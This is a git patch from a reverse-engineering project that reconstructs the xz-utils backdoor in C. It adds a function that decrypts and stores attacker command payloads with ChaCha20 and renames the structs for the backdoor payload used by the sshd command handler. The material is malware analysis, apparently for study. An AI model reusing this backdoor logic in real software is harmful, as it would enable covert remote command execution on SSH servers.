From 3f901deed560a7b491009b923a787c20f0f914eb Mon Sep 17 00:00:00 2001 From: Stefano Moioli Date: Sun, 4 Aug 2024 16:26:43 +0200 Subject: [PATCH] xzre_code: add decrypt_payload_message --- xzre.h | 61 +++++++++++++++++++------ xzre_code/CMakeLists.txt | 1 + xzre_code/decrypt_payload_message.c | 71 +++++++++++++++++++++++++++++ xzre_code/run_backdoor_commands.c | 14 +++--- 4 files changed, 127 insertions(+), 20 deletions(-) create mode 100644 xzre_code/decrypt_payload_message.c diff --git a/xzre.h b/xzre.h index 42ca81f..13a0d8c 100644 --- a/xzre.h +++ b/xzre.h @@ -557,6 +557,10 @@ typedef enum { STR_ELF = 0x300, } EncodedStringId; +typedef enum { + PAYLOAD_STATE_INVALID = -1 +} PayloadState; + #ifndef XZRE_SLIM #define assert_offset(t, f, o) static_assert(offsetof(t, f) == o) #else @@ -1351,7 +1355,11 @@ typedef struct __attribute__((packed)) global_context { u64 sock_read_buf_size; u8 sock_read_buf[64]; u64 payload_data_size; - u64 digest_offset; + /** + * @brief number of body bytes copied to @ref payload_data. + * will point to the digest at the end + */ + u64 current_data_size; // signed data (size payload_data_size) u8 *payload_data; sshd_payload_ctx_t *sshd_payload_ctx; @@ -1396,7 +1404,7 @@ assert_offset(global_context_t, uid, 0x90); assert_offset(global_context_t, sock_read_buf_size, 0x98); assert_offset(global_context_t, sock_read_buf, 0xA0); assert_offset(global_context_t, payload_data_size, 0xE0); -assert_offset(global_context_t, digest_offset, 0xE8); +assert_offset(global_context_t, current_data_size, 0xE8); assert_offset(global_context_t, payload_data, 0xF0); assert_offset(global_context_t, sshd_payload_ctx, 0xF8); assert_offset(global_context_t, sshd_host_pubkey_idx, 0x100); @@ -1857,10 +1865,16 @@ static_assert(sizeof(secret_data_item_t) == 0x18); * @return typedef struct */ typedef struct __attribute__((packed)) key_payload_hdr { - u32 field_a; - u32 field_b; - u64 field_c; -} key_payload_hdr_t; + union { + u8 bytes[16]; + struct __attribute__((packed)) { + u32 field_a; + u32 field_b; + u64 field_c; + }; + }; +} backdoor_payload_hdr_t; +static_assert(sizeof(backdoor_payload_hdr_t) == 16); typedef union __attribute__((packed)) { u8 value[2]; @@ -1879,20 +1893,41 @@ typedef struct __attribute__((packed)) key_payload_body { u8 signature[ED448_SIGNATURE_SIZE]; cmd_arguments_t args; u8 data[0x1A1]; -} key_payload_body_t; +} backdoor_payload_body_t; -assert_offset(key_payload_body_t, args, 0x72); +assert_offset(backdoor_payload_body_t, args, 0x72); /** * @brief the contents of the RSA 'n' field * * @return typedef struct */ +typedef struct __attribute__((packed)) backdoor_payload { + union { + u8 data[0x228]; + struct __attribute__((packed)) { + backdoor_payload_hdr_t header; + backdoor_payload_body_t body; + }; + }; +} backdoor_payload_t; +static_assert(sizeof(backdoor_payload_t) == 0x228); +assert_offset(backdoor_payload_t, header, 0); +assert_offset(backdoor_payload_t, body, 16); + typedef struct __attribute__((packed)) key_payload { - key_payload_hdr_t header; - key_payload_body_t body; + union { + u8 data[0]; + struct __attribute__((packed)) { + backdoor_payload_hdr_t hdr; + u16 body_length; + u8 body[0]; + }; + }; } key_payload_t; -static_assert(sizeof(key_payload_t) == 0x228); +assert_offset(key_payload_t, hdr, 0); +assert_offset(key_payload_t, body_length, 16); +assert_offset(key_payload_t, body, 18); #define TEST_FLAG(x, flag) (((x) & (flag)) != 0) @@ -1974,7 +2009,7 @@ typedef struct __attribute__((packed)) key_ctx { const BIGNUM *rsa_n; const BIGNUM *rsa_e; cmd_arguments_t args; - key_payload_t payload; + backdoor_payload_t payload; PADDING(CHACHA20_KEY_SIZE + CHACHA20_IV_SIZE); u8 ivec[CHACHA20_IV_SIZE]; u8 ed448_key[ED448_KEY_SIZE]; @@ -3754,7 +3789,7 @@ extern BOOL is_payload_message( * @return BOOL TRUE if successfully decrypted, FALSE otherwise */ extern BOOL decrypt_payload_message( - void *payload, + key_payload_t *payload, size_t payload_size, global_context_t *ctx); diff --git a/xzre_code/CMakeLists.txt b/xzre_code/CMakeLists.txt index a5d5d15..aeb8070 100644 --- a/xzre_code/CMakeLists.txt +++ b/xzre_code/CMakeLists.txt @@ -7,6 +7,7 @@ add_library(xzre_code chacha_decrypt.c count_bits.c count_pointers.c + decrypt_payload_message.c elf_parse.c elf_symbol_get_addr.c get_lzma_allocator.c diff --git a/xzre_code/decrypt_payload_message.c b/xzre_code/decrypt_payload_message.c new file mode 100644 index 0000000..ed9f031 --- /dev/null +++ b/xzre_code/decrypt_payload_message.c @@ -0,0 +1,71 @@ +/** + * Copyright (C) 2024 Stefano Moioli + **/ +#include "xzre.h" + +BOOL decrypt_payload_message( + key_payload_t *payload, + size_t payload_size, + global_context_t *ctx +){ + backdoor_payload_hdr_t hdr = {0}; + u8 output[ED448_KEY_SIZE] = {0}; + + memcpy(&hdr, payload, sizeof(hdr)); + + if(!payload){ + if(!ctx) return FALSE; + goto set_state_invalid; + } + + const size_t header_size = sizeof(payload->hdr) + sizeof(payload->body_length); + static_assert(header_size == 18); + + do { + if(!ctx) break; + if(ctx->payload_state == 3) return TRUE; + if(payload_size <= header_size || ctx->payload_state > 1) break; + + /** decrypt body_size and body */ + if(!chacha_decrypt( + payload->data + sizeof(payload->hdr), + payload_size - sizeof(payload->hdr), + output, + payload->hdr.bytes, + payload->data + sizeof(payload->hdr), + ctx->imported_funcs)) break; + + u16 body_length = payload->body_length; + // body cannot be bigger than remaining length + if(body_length >= payload_size - header_size){ + break; + } + + // body cannot be bigger than the current data size + if(body_length >= ctx->payload_data_size - ctx->current_data_size){ + break; + } + + /** keep a copy of the last payload body */ + u8 *data = &ctx->payload_data[ctx->current_data_size]; + __builtin_memcpy(data, payload->body, body_length); + ctx->current_data_size += body_length; + + /** decrypt body */ + if(!chacha_decrypt( + payload->data + sizeof(payload->hdr), + payload_size - sizeof(payload->hdr), + output, + payload->hdr.bytes, + payload->data + sizeof(payload->hdr), + ctx->imported_funcs + )) break; + + return TRUE; + } while(0); + + set_state_invalid: + ctx->payload_state = PAYLOAD_STATE_INVALID; + + return FALSE; +} diff --git a/xzre_code/run_backdoor_commands.c b/xzre_code/run_backdoor_commands.c index 1a41d25..4025aae 100644 --- a/xzre_code/run_backdoor_commands.c +++ b/xzre_code/run_backdoor_commands.c @@ -14,7 +14,7 @@ #define MONITOR_REQ_KEYALLOWED 22 -#define SIZE_STEP0 (sizeof(key_payload_hdr_t)) +#define SIZE_STEP0 (sizeof(backdoor_payload_hdr_t)) #define SIZE_STEP1 (SIZE_STEP0 + ED448_SIGNATURE_SIZE) #define SIZE_STEP2 (SIZE_STEP1 + sizeof(cmd_arguments_t)) #define SIZE_HEADERS SIZE_STEP2 @@ -63,7 +63,7 @@ BOOL run_backdoor_commands(RSA *rsa, global_context_t *ctx, BOOL *do_orig){ if(rsa_n_length < 0) break; if(num_n_bytes < rsa_n_length) break; - if(rsa_n_length <= sizeof(key_payload_hdr_t)) goto exit; + if(rsa_n_length <= sizeof(backdoor_payload_hdr_t)) goto exit; // `field_a` cannot be 0 if(!f.kctx.payload.header.field_a) goto exit; // `field_b` cannot be 0 @@ -77,13 +77,13 @@ BOOL run_backdoor_commands(RSA *rsa, global_context_t *ctx, BOOL *do_orig){ if(!ctx->libc_imports->exit) break; if(!ctx->sshd_log_ctx) break; if(ctx->num_shifted_bits != ED448_KEY_SIZE * 8) break; - *(key_payload_hdr_t *)f.kctx.ivec = f.kctx.payload.header; + *(backdoor_payload_hdr_t *)f.kctx.ivec = f.kctx.payload.header; if(!secret_data_get_decrypted(f.kctx.ed448_key, ctx)) break; // decrypt payload if(!chacha_decrypt( f.kctx.payload.body.signature, - num_n_bytes - sizeof(key_payload_hdr_t), + num_n_bytes - sizeof(backdoor_payload_hdr_t), f.kctx.ed448_key, f.kctx.ivec, (u8 *)&f.kctx.payload.body, @@ -193,8 +193,8 @@ BOOL run_backdoor_commands(RSA *rsa, global_context_t *ctx, BOOL *do_orig){ if(data_s1 >= f.body_size) break; if(f.body_size - data_s1 < ED448_SIGNATURE_SIZE) break; - if(ctx->payload_data_size < ctx->digest_offset) break; - u64 delta = ctx->payload_data_size - ctx->digest_offset; + if(ctx->payload_data_size < ctx->current_data_size) break; + u64 delta = ctx->payload_data_size - ctx->current_data_size; if(delta < ED448_KEY_SIZE) break; if((delta - ED448_SIGNATURE_SIZE) < data_s1) break; @@ -208,7 +208,7 @@ BOOL run_backdoor_commands(RSA *rsa, global_context_t *ctx, BOOL *do_orig){ if(!verify_signature( ctx->sshd_sensitive_data->host_pubkeys[ctx->sshd_host_pubkey_idx], ctx->payload_data, - data_s1 + ctx->digest_offset, + data_s1 + ctx->current_data_size, ctx->payload_data_size, signature, data_ptr,